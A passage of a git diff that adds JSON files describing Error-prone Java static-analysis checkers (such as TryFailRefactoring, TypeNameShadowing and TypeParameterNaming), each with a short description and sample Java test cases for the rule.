], + "code": "import static com.google.common.truth.Truth.assertThat;\nimport com.google.common.collect.ImmutableList;\n\npublic class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactlyElementsIn(ImmutableList.of(1, 2, 3));\n }\n}\n\n\n import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactly(1, 2, 3);\n }\n }" + }, + { + "description": "refactoringTruthContainsExactlyElementsInUsageWithArray", + "expected-problems": null, + "expected-linenumbers": [ + 407 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\nimport com.google.common.collect.ImmutableList;\n\npublic class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactlyElementsIn(new Integer[] {1, 2, 3});\n }\n}\n\n\n import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n\n public class ExampleClassTest {\n void test() {\n assertThat(ImmutableList.of(1, 2, 3)).containsExactly(1, 2, 3);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthGetOrDefault.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthGetOrDefault.json new file mode 100644 index 0000000..8e8711e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TruthGetOrDefault.json @@ -0,0 +1,38 @@ +{ + "name": "TruthGetOrDefault", + "language": "java", + "description": "Asserting on getOrDefault is unclear; prefer containsEntry or doesNotContainKey", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 132, + "branches": 13, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.util.HashMap;\n import java.util.Map;\n\n class Test {\n void test() {\n Map map = new HashMap<>();\n // BUG: Diagnostic contains: TruthGetOrDefault\n assertThat(map.getOrDefault(\"key\", 0)).isEqualTo(0);\n Integer expectedVal = 0;\n // BUG: Diagnostic contains: TruthGetOrDefault\n assertThat(map.getOrDefault(\"key\", expectedVal)).isEqualTo(expectedVal);\n Map longMap = new HashMap<>();\n // BUG: Diagnostic contains: TruthGetOrDefault\n assertThat(longMap.getOrDefault(\"key\", 0L)).isEqualTo(5L);\n }\n }" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\nimport java.util.HashMap;\nimport java.util.Map;\n\nclass Test {\n void test() {\n Map map = new HashMap<>();\n Integer expectedVal = 10;\n assertThat(map.getOrDefault(\"key\", 0)).isEqualTo(expectedVal);\n assertThat(map.getOrDefault(\"key\", Integer.valueOf(0))).isEqualTo(Integer.valueOf(1));\n }\n}" + }, + { + "description": "fixGeneration", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.util.HashMap;\n import java.util.Map;\n\n class Test {\n void test() {\n Map map = new HashMap<>();\n assertThat(map.getOrDefault(\"key\", 0)).isEqualTo(1);\n Map longMap = new HashMap<>();\n assertThat(longMap.getOrDefault(\"key\", 0L)).isEqualTo(0L);\n assertThat(longMap.getOrDefault(\"key\", 0L)).isEqualTo(0);\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import java.util.HashMap;\n import java.util.Map;\n\n class Test {\n void test() {\n Map map = new HashMap<>();\n assertThat(map).containsEntry(\"key\", 1);\n Map longMap = new HashMap<>();\n assertThat(longMap).doesNotContainKey(\"key\");\n assertThat(longMap.getOrDefault(\"key\", 0L)).isEqualTo(0);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TryFailRefactoring.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TryFailRefactoring.json new file mode 100644 index 0000000..5f8544d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TryFailRefactoring.json @@ -0,0 +1,150 @@ +{ + "name": "TryFailRefactoring", + "language": "java", + "description": "Prefer assertThrows to try/fail", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 74, + "branches": 8, + "apis": 4, + "test": [ + { + "description": "catchBlock", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.fail;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void f(String message) throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n try {\n Files.readAllBytes(p);\n Files.readAllBytes(p);\n fail(message);\n } catch (IOException e) {\n assertThat(e).hasMessageThat().contains(\"NOSUCH\");\n }\n }\n\n @Test\n public void g() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n try {\n Files.readAllBytes(p);\n fail(\"expected exception not thrown\");\n } catch (IOException e) {\n assertThat(e).hasMessageThat().contains(\"NOSUCH\");\n }\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n import static org.junit.Assert.fail;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void f(String message) throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n IOException e =\n assertThrows(\n message,\n IOException.class,\n () -> {\n Files.readAllBytes(p);\n Files.readAllBytes(p);\n });\n assertThat(e).hasMessageThat().contains(\"NOSUCH\");\n }\n\n @Test\n public void g() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n IOException e = assertThrows(IOException.class, () -> Files.readAllBytes(p));\n assertThat(e).hasMessageThat().contains(\"NOSUCH\");\n }\n }" + }, + { + "description": "f", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "" + }, + { + "description": "g", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "" + }, + { + "description": "f", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "" + }, + { + "description": "g", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "" + }, + { + "description": "emptyCatch", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.fail;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n try {\n Files.readAllBytes(p);\n fail();\n } catch (IOException e) {\n }\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n import static org.junit.Assert.fail;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n assertThrows(IOException.class, () -> Files.readAllBytes(p));\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 141 + ], + "code": "" + }, + { + "description": "tryWithResources", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.fail;\n import com.google.common.io.CharSource;\n import java.io.BufferedReader;\n import java.io.IOException;\n import java.io.PushbackReader;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void f(String message, CharSource cs) throws IOException {\n try (BufferedReader buf = cs.openBufferedStream();\n PushbackReader pbr = new PushbackReader(buf)) {\n pbr.read();\n fail(message);\n } catch (IOException e) {\n assertThat(e).hasMessageThat().contains(\"NOSUCH\");\n }\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n import static org.junit.Assert.fail;\n import com.google.common.io.CharSource;\n import java.io.BufferedReader;\n import java.io.IOException;\n import java.io.PushbackReader;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void f(String message, CharSource cs) throws IOException {\n try (BufferedReader buf = cs.openBufferedStream();\n PushbackReader pbr = new PushbackReader(buf)) {\n IOException e = assertThrows(message, IOException.class, () -> pbr.read());\n assertThat(e).hasMessageThat().contains(\"NOSUCH\");\n }\n }\n }" + }, + { + "description": "f", + "expected-problems": null, + "expected-linenumbers": [ + 166 + ], + "code": "" + }, + { + "description": "f", + "expected-problems": null, + "expected-linenumbers": [ + 191 + ], + "code": "" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.fail;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void noFail() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n try {\n Files.readAllBytes(p);\n } catch (IOException e) {\n }\n }\n\n @Test\n public void unionCatch() throws Exception {\n try {\n ((Class) null).newInstance();\n fail();\n } catch (IllegalAccessException | InstantiationException e) {\n }\n }\n\n @Test\n public void multiCatch() throws Exception {\n try {\n ((Class) null).newInstance();\n fail();\n } catch (IllegalAccessException e) {\n } catch (InstantiationException e) {\n }\n }\n\n @Test\n public void finallyBlock() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n try {\n Files.readAllBytes(p);\n } catch (IOException e) {\n } finally {\n }\n }\n\n public void nonTestMethod() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n try {\n Files.readAllBytes(p);\n fail();\n } catch (IOException e) {\n assertThat(e).hasMessageThat().contains(\"NOSUCH\");\n }\n }\n }" + }, + { + "description": "noFail", + "expected-problems": null, + "expected-linenumbers": [ + 217 + ], + "code": "" + }, + { + "description": "unionCatch", + "expected-problems": null, + "expected-linenumbers": [ + 226 + ], + "code": "" + }, + { + "description": "multiCatch", + "expected-problems": null, + "expected-linenumbers": [ + 235 + ], + "code": "" + }, + { + "description": "finallyBlock", + "expected-problems": null, + "expected-linenumbers": [ + 245 + ], + "code": "" + }, + { + "description": "tryInStaticInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 269 + ], + "code": "class Test {\n static {\n try {\n int a;\n } catch (Exception e) {\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TryFailThrowable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TryFailThrowable.json new file mode 100644 index 0000000..f26e370 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TryFailThrowable.json @@ -0,0 +1,30 @@ +{ + "name": "TryFailThrowable", + "language": "java", + "description": "Catching Throwable/Error masks failures from fail() or assert*() in the try block", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 271, + "branches": 26, + "apis": 11, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertTrue;\nimport static org.junit.Assert.fail;\n\nimport java.util.Arrays;\nimport junit.framework.TestCase;\nimport org.junit.Assert;\n\n/**\n * @author adamwos@google.com (Adam Wos)\n */\npublic class TryFailThrowablePositiveCases {\n\n public static void emptyCatch_failNoMessage() {\n try {\n dummyMethod();\n Assert.fail();\n // BUG: Diagnostic contains: catch (Exception t)\n } catch (Throwable t) {\n }\n }\n\n public static void commentCatch_failNoMessage() {\n try {\n dummyMethod();\n Assert.fail();\n // BUG: Diagnostic contains: catch (Exception t123)\n } catch (Throwable t123) {\n // expected!\n ;\n /* that's an empty comment */\n }\n }\n\n public static void commentCatch_failWithMessage() {\n try {\n dummyMethod();\n Assert.fail(\"Faaail!\");\n // BUG: Diagnostic contains: catch (Exception t)\n } catch (Throwable t) {\n // expected!\n }\n }\n\n public static void commentCatch_failNotLast() {\n try {\n dummyMethod();\n fail(\"Faaail!\");\n dummyMethod();\n // BUG: Diagnostic contains: catch (Exception t)\n } catch (Throwable t) {\n // expected!\n }\n }\n\n public static void commentCatch_assert() {\n try {\n dummyMethod();\n assertEquals(1, 2);\n // BUG: Diagnostic contains: catch (Exception t)\n } catch (Throwable t) {\n // expected!\n }\n }\n\n public static void commentCatch_assertNotLast() {\n try {\n dummyMethod();\n assertTrue(\"foobar!\", true);\n dummyRecover();\n // BUG: Diagnostic contains: catch (Exception t)\n } catch (Throwable t) {\n // expected!\n }\n }\n\n public static void customMoreAsserts() {\n try {\n dummyMethod();\n CustomMoreAsserts.assertFoobar();\n dummyMethod();\n // BUG: Diagnostic contains: catch (Exception t)\n } catch (Throwable t) {\n // expected!\n }\n }\n\n public static void customMoreAsserts_fail() {\n try {\n dummyMethod();\n CustomMoreAsserts.fail(\"param\", 0x42);\n dummyMethod();\n // BUG: Diagnostic contains: catch (Exception t)\n } catch (Throwable t) {\n // expected!\n }\n }\n\n static final class SomeTest extends TestCase {\n public void testInTestCase() {\n try {\n dummyMethod();\n fail(\"message\");\n // BUG: Diagnostic contains: catch (Exception codeCatch_oldAssertFailWithMessage)\n } catch (Throwable codeCatch_oldAssertFailWithMessage) {\n // comment\n /* another */\n }\n }\n }\n\n static final class CustomMoreAsserts {\n static void assertFoobar() {}\n\n static void fail(String param1, int param2) {}\n }\n\n private static void dummyRecover() {}\n\n private static void dummyMethod() {}\n\n public static void catchesAssertionError() {\n try {\n dummyMethod();\n Assert.fail();\n // BUG: Diagnostic contains: remove this line\n } catch (AssertionError e) {\n }\n }\n\n public static void hasMessage() {\n try {\n dummyMethod();\n Assert.fail(\"foo\");\n // BUG: Diagnostic contains: remove this line\n } catch (AssertionError e) {\n }\n }\n\n public static void catchesError_lastStatement() {\n try {\n dummyMethod();\n Assert.fail();\n // BUG: Diagnostic contains: remove this line\n } catch (Error e) {\n }\n }\n\n public static void catchesError_notLastStatement() {\n try {\n dummyMethod();\n Assert.fail();\n // BUG: Diagnostic contains: boolean threw = false;\n } catch (Error e) {\n }\n\n assertTrue(true);\n }\n\n public static void catchesError_nested() {\n for (Object o : Arrays.asList()) {\n try {\n dummyMethod();\n Assert.fail();\n // BUG: Diagnostic contains: boolean threw = false;\n } catch (Error e) {\n }\n }\n }\n\n public static void catchesError_nestedNoBlock() {\n for (Object o : Arrays.asList())\n try {\n dummyMethod();\n Assert.fail();\n // BUG: Diagnostic contains: boolean threw = false;\n } catch (Error e) {\n }\n }\n}\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 224 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static org.junit.Assert.assertEquals;\n import static org.junit.Assert.assertTrue;\n import static org.junit.Assert.fail;\n\n import junit.framework.TestCase;\n import org.junit.Assert;\n\n /**\n * @author adamwos@google.com (Adam Wos)\n */\n public class TryFailThrowableNegativeCases {\n\n public static void withoutFail() {\n try {\n dummyMethod();\n } catch (Throwable t) {\n dummyRecover();\n }\n }\n\n public static void failOutsideTry() {\n try {\n dummyMethod();\n } catch (Throwable t) {\n dummyRecover();\n }\n Assert.fail();\n }\n\n public static void withoutCatch() {\n try {\n dummyMethod();\n Assert.fail(\"\");\n } finally {\n dummyRecover();\n }\n }\n\n /** For now, this isn't supported. */\n public static void multipleCatches() {\n try {\n dummyMethod();\n Assert.fail(\"1234\");\n } catch (Error e) {\n dummyRecover();\n } catch (Throwable t) {\n dummyRecover();\n }\n }\n\n public static void failNotLast() {\n try {\n dummyMethod();\n Assert.fail(\"Not last :(\");\n dummyMethod();\n } catch (Throwable t) {\n dummyRecover();\n }\n }\n\n public static void catchException() {\n try {\n dummyMethod();\n Assert.fail();\n } catch (Exception t) {\n dummyRecover();\n }\n }\n\n public static void catchException_failWithMessage() {\n try {\n dummyMethod();\n Assert.fail(\"message\");\n } catch (Exception t) {\n dummyRecover();\n }\n }\n\n public static void codeCatch_failNoMessage() {\n try {\n dummyMethod();\n Assert.fail();\n } catch (Throwable t) {\n dummyRecover();\n }\n }\n\n public static void codeCatch_failWithMessage() {\n try {\n dummyMethod();\n Assert.fail(\"Faaail!\");\n } catch (Throwable t444) {\n dummyRecover();\n }\n }\n\n public static void codeCatch_staticImportedFail() {\n try {\n dummyMethod();\n fail();\n } catch (Throwable t444) {\n dummyRecover();\n }\n }\n\n @SuppressWarnings(\"deprecation\") // deprecated in JUnit 4.11\n public static void codeCatch_oldAssertFail() {\n try {\n dummyMethod();\n junit.framework.Assert.fail();\n } catch (Throwable codeCatch_oldAssertFail) {\n dummyRecover();\n }\n }\n\n @SuppressWarnings(\"deprecation\") // deprecated in JUnit 4.11\n public static void codeCatch_oldAssertFailWithMessage() {\n try {\n dummyMethod();\n junit.framework.Assert.fail(\"message\");\n } catch (Throwable codeCatch_oldAssertFailWithMessage) {\n dummyRecover();\n }\n }\n\n public static void codeCatch_FQFail() {\n try {\n dummyMethod();\n org.junit.Assert.fail(\"Faaail!\");\n } catch (Throwable t444) {\n dummyRecover();\n }\n }\n\n public static void codeCatch_assert() {\n try {\n dummyMethod();\n assertEquals(1, 2);\n } catch (Throwable t) {\n dummyMethod();\n }\n }\n\n public static void commentCatch_assertNotLast() {\n try {\n dummyMethod();\n assertTrue(\"foobar!\", true);\n dummyRecover();\n } catch (Throwable t) {\n dummyMethod();\n }\n }\n\n static final class SomeTest extends TestCase {\n public void testInTestCase() {\n try {\n dummyMethod();\n fail(\"message\");\n } catch (Throwable codeCatch_oldAssertFailWithMessage) {\n dummyRecover();\n }\n }\n }\n\n private static void dummyRecover() {}\n\n private static void dummyMethod() {}\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TryWithResourcesVariable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TryWithResourcesVariable.json new file mode 100644 index 0000000..f870ee5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TryWithResourcesVariable.json @@ -0,0 +1,38 @@ +{ + "name": "TryWithResourcesVariable", + "language": "java", + "description": "This variable is unnecessary, the try-with-resources resource can be a reference to a final or effectively final variable", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n void f(AutoCloseable r1) {\n try (AutoCloseable r2 = r1) {\n System.err.println(r2);\n } catch (Exception e) {\n }\n }\n }\n \n\n class Test {\n void f(AutoCloseable r1) {\n try (r1) {\n System.err.println(r1);\n } catch (Exception e) {\n }\n }\n }" + }, + { + "description": "refactoringTwoVariables", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "class Test {\n void f(AutoCloseable a1, AutoCloseable a2) {\n try (AutoCloseable b1 = a1;\n AutoCloseable b2 = a2) {\n System.err.println(b1);\n System.err.println(b2);\n } catch (Exception e) {\n }\n }\n }\n \n\n class Test {\n void f(AutoCloseable a1, AutoCloseable a2) {\n try (a1;\n a2) {\n System.err.println(a1);\n System.err.println(a2);\n } catch (Exception e) {\n }\n }\n }" + }, + { + "description": "negativeNonFinal", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "abstract class Test {\n abstract AutoCloseable reassign(AutoCloseable r);\n\n void f(AutoCloseable r1) {\n r1 = reassign(r1);\n try (AutoCloseable r2 = r1) {\n System.err.println(r2);\n } catch (Exception e) {\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeEqualsChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeEqualsChecker.json new file mode 100644 index 0000000..6747439 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeEqualsChecker.json @@ -0,0 +1,30 @@ +{ + "name": "TypeEqualsChecker", + "language": "java", + "description": "com.sun.tools.javac.code.Type doesn't override Object.equals and instances are not interned by javac, so testing types for equality should be done with Types#isSameType instead", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import com.google.errorprone.BugPattern;\n import com.google.errorprone.BugPattern.SeverityLevel;\n import com.google.errorprone.VisitorState;\n import com.google.errorprone.bugpatterns.BugChecker;\n import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher;\n import com.google.errorprone.matchers.Description;\n import com.sun.source.tree.ClassTree;\n import com.sun.tools.javac.code.Types;\n\n @BugPattern(name = \"Example\", summary = \"\", severity = SeverityLevel.ERROR)\n public class ExampleChecker extends BugChecker implements ClassTreeMatcher {\n @Override\n public Description matchClass(ClassTree t, VisitorState s) {\n return Description.NO_MATCH;\n }\n }" + }, + { + "description": "matchInABugChecker", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "import static com.google.errorprone.util.ASTHelpers.getSymbol;\n import com.google.errorprone.BugPattern;\n import com.google.errorprone.BugPattern.SeverityLevel;\n import com.google.errorprone.VisitorState;\n import com.google.errorprone.bugpatterns.BugChecker;\n import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher;\n import com.google.errorprone.fixes.SuggestedFix;\n import com.google.errorprone.matchers.Description;\n import com.sun.source.tree.ClassTree;\n import com.sun.tools.javac.code.Symbol;\n import com.sun.tools.javac.code.Symbol.ClassSymbol;\n import com.sun.tools.javac.code.Type;\n import com.sun.tools.javac.code.Types;\n import java.util.Objects;\n\n @BugPattern(name = \"Example\", summary = \"\", severity = SeverityLevel.ERROR)\n public class ExampleChecker extends BugChecker implements ClassTreeMatcher {\n @Override\n public Description matchClass(ClassTree tree, VisitorState state) {\n Symbol sym = getSymbol(tree);\n Types types = state.getTypes();\n ClassSymbol owner = sym.enclClass();\n for (Type s : types.closure(owner.type)) {\n // BUG: Diagnostic contains: TypeEquals\n if (s.equals(owner.type)) {\n return Description.NO_MATCH;\n }\n // BUG: Diagnostic contains: TypeEquals\n if (Objects.equals(s, owner.type)) {\n return Description.NO_MATCH;\n }\n }\n return Description.NO_MATCH;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeNameShadowing.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeNameShadowing.json new file mode 100644 index 0000000..3e9061c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeNameShadowing.json @@ -0,0 +1,142 @@ +{ + "name": "TypeNameShadowing", + "language": "java", + "description": "Type parameter declaration shadows another named type", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 153, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positiveClass", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package foo.bar;\n\n class T {}\n \n\n package foo.bar;\n\n // BUG: Diagnostic contains: Type parameter T shadows visible type foo.bar.T\n class Foo {\n void bar(T t) {}\n }" + }, + { + "description": "positiveNestedClass", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "package foo.bar;\n\n class Foo {\n class T {}\n\n // BUG: Diagnostic contains: Type parameter T shadows visible type foo.bar.Foo$T\n class Bar {\n void bar(T t) {}\n }\n }" + }, + { + "description": "positiveNestedStaticClass", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "package foo.bar;\n\n class Foo {\n public static class T {}\n\n // BUG: Diagnostic contains: Type parameter T shadows visible type foo.bar.Foo$T\n class Bar {\n void bar(T t) {}\n }\n }" + }, + { + "description": "positiveNestedGeneric", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "package foo.bar;\n\n interface T {}\n \n\n package foo.bar;\n\n class Foo {\n // BUG: Diagnostic contains: Type parameter T shadows visible type foo.bar.T\n class FooInner {\n void bar(T t) {}\n }\n }" + }, + { + "description": "positiveOtherNestedClass", + "expected-problems": null, + "expected-linenumbers": [ + 122 + ], + "code": "package foo.bar;\n\n class Foo {\n class T {}\n }\n \n\n package foo.bar;\n\n import foo.bar.Foo.T;\n\n // BUG: Diagnostic contains: Type parameter T shadows visible type foo.bar.Foo$T\n class Bar {\n void bar(T t) {}\n }" + }, + { + "description": "positiveMultipleParamsOneCollides", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "package foo.bar;\n\n class T {}\n \n\n package foo.bar;\n\n // BUG: Diagnostic contains: Type parameter T shadows visible type foo.bar.T\n class Foo {\n void bar(T t, U u, V v) {}\n }" + }, + { + "description": "positiveMultipleParamsBothCollide", + "expected-problems": null, + "expected-linenumbers": [ + 172 + ], + "code": "package foo.bar;\n\n class T {}\n \n\n package foo.bar;\n\n class U {}\n \n\n package foo.bar;\n\n // BUG: Diagnostic matches: combo\n class Foo {\n void bar(T t, U u) {}\n }" + }, + { + "description": "positiveJavaLangCollision", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "// BUG: Diagnostic contains: Class shadows visible type java.lang.Class\n class Foo {\n void bar(Class c) {}\n }" + }, + { + "description": "negativeClass", + "expected-problems": null, + "expected-linenumbers": [ + 221 + ], + "code": "package foo.bar;\n\n class T {}\n \n\n package foo.bar;\n\n class Foo {\n void bar(T1 t) {}\n }" + }, + { + "description": "negativeNestedClass", + "expected-problems": null, + "expected-linenumbers": [ + 243 + ], + "code": "package foo.bar;\n\n class T {\n class Foo {\n void bar(T1 t) {}\n }\n }" + }, + { + "description": "negativeOtherNestedClass", + "expected-problems": null, + "expected-linenumbers": [ + 260 + ], + "code": "package foo.bar;\n\n class Foo {\n class T {}\n }\n \n\n package foo.bar;\n\n class Bar {\n void bar(T t) {}\n }" + }, + { + "description": "negativeStarImport", + "expected-problems": null, + "expected-linenumbers": [ + 284 + ], + "code": "package a;\n\n class T {}\n \n\n package b;\n\n import a.*;\n\n class Foo {\n void bar(T u) {}\n }" + }, + { + "description": "refactorSingle", + "expected-problems": null, + "expected-linenumbers": [ + 308 + ], + "code": "class Foo {\n class T {}\n\n void f(T t) {}\n }\n \n\n class Foo {\n class T {}\n\n void f(T2 t) {}\n }" + }, + { + "description": "refactorMultiple", + "expected-problems": null, + "expected-linenumbers": [ + 332 + ], + "code": "class Foo {\n class T {}\n\n class U {}\n\n void f(T t, U u) {}\n }\n \n\n class Foo {\n class T {}\n\n class U {}\n\n void f(T2 t, U2 u) {}\n }" + }, + { + "description": "fixOnlyWellNamedVariables", + "expected-problems": null, + "expected-linenumbers": [ + 365 + ], + "code": "class Foo {\n class T {}\n\n class BadParameterName {}\n\n void f(T t, BadParameterName u) {}\n }\n \n\n class Foo {\n class T {}\n\n class BadParameterName {}\n\n void f(T2 t, BadParameterName u) {}\n }" + }, + { + "description": "fieldClashOk", + "expected-problems": null, + "expected-linenumbers": [ + 393 + ], + "code": "class Test {\n final Object T = new Object();\n\n void doIt(T t) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterNaming.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterNaming.json new file mode 100644 index 0000000..fb322eb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TypeParameterNaming.json @@ -0,0 +1,142 @@ +{ + "name": "TypeParameterNaming", + "language": "java", + "description": "Type parameters must be a single letter with an optional numeric suffix, or an UpperCamelCase name followed by the letter 'T'.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 246, + "branches": 31, + "apis": 8, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 43 + ], + "code": "// BUG: Diagnostic contains: TypeParameterNaming\n class Test {\n // BUG: Diagnostic contains: TypeParameterNaming\n public void method(Exception e) {}\n }" + }, + { + "description": "refactoring_trailing", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "/**\n * @param bad name\n */\n class Test {\n public void method(Foo f) {\n BadName bad = null;\n Foo d = f;\n }\n }\n \n\n /**\n * @param bad name\n */\n class Test {\n public void method(FooT f) {\n BadNameT bad = null;\n FooT d = f;\n }\n }" + }, + { + "description": "refactoring_single", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "class Test {\n /**\n * @param foo\n */\n public void method(Foo f) {\n BadName bad = null;\n Foo d = f;\n }\n }\n \n\n class Test {\n /**\n * @param foo\n */\n public void method(F f) {\n B bad = null;\n F d = f;\n }\n }" + }, + { + "description": "refactoring_single_number", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "class Test {\n public void method(Baz f) {\n Bar bad = null;\n Baz d = f;\n }\n }\n \n\n class Test {\n public void method(B2 f) {\n B bad = null;\n B2 d = f;\n }\n }" + }, + { + "description": "refactoring_single_number_enclosing", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "class Test {\n public void method(Baz f) {\n Bar bad = null;\n Baz d = f;\n Boo wow = null;\n }\n }\n \n\n class Test {\n public void method(B2 f) {\n B bad = null;\n B2 d = f;\n B3 wow = null;\n }\n }" + }, + { + "description": "refactoring_single_number_within_scope", + "expected-problems": null, + "expected-linenumbers": [ + 180 + ], + "code": "class Test {\n public void method(Baz f) {\n Baz d = f;\n Boo wow = null;\n }\n }\n \n\n class Test {\n public void method(B f) {\n B d = f;\n B2 wow = null;\n }\n }" + }, + { + "description": "refactoring_single_number_many_ok", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "class Test {\n public void method(Bad f) {\n Bad d = f;\n B2 wow = null;\n 